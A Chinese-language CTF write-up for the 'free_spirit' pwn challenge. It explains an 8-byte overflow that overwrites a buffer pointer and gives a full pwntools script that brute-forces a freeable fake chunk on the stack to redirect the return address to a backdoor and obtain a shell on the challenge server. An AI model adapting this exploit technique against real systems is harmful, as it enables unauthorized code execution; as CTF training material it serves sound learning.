free_spirit(在栈上爆破一个可以被free的fake_chunk)
首先检查一下程序的保护机制
然后,我们用IDA分析一下,功能3存在8字节溢出,将会把v7下面的buf指针覆盖掉,而覆盖了buf指针,就能实现任意地址写。
那么,我们劫持函数栈返回地址为one_gadget即可,为了绕过结尾对buf的检查,我们的buf非0,且free后不会报错。
但是我们泄露不了堆地址,因此,只能在栈上找一个合适的fake_chunk,因此,可以直接在栈上爆破,直到程序不崩溃,那么就可以执行one_gadget了。
#coding:utf8
from pwn import *
backdoor = 0x0000000000400A3E
i = -54
while True:
try:
#sh = process('./free_spirit')
sh = remote('node3.buuoj.cn',29949)
i -= 1
sh.sendlineafter('>','2')
sh.recvuntil('0x')
stack_addr = int(sh.recvuntil('\n',drop = True),16)
print 'stack_addr=',hex(stack_addr)
sh.sendlineafter('>','1')
sleep(0.5)
sh.send('a'*0x8 + p64(stack_addr + 0x58) + '\x00'*0x10)
sleep(0.5)
#8字节溢出,覆盖buf指针,造成任意地址写
sh.sendlineafter('>','3')
sh.sendlineafter('>','1')
sh.sendline(p64(backdoor) + p64(stack_addr + i * 8))
#8字节溢出,覆盖buf指针,使得free不报错
sh.sendlineafter('>','3')
#raw_input()
sh.sendlineafter('>','0')
sh.interactive()
except:
print 'trying...'
sh.close()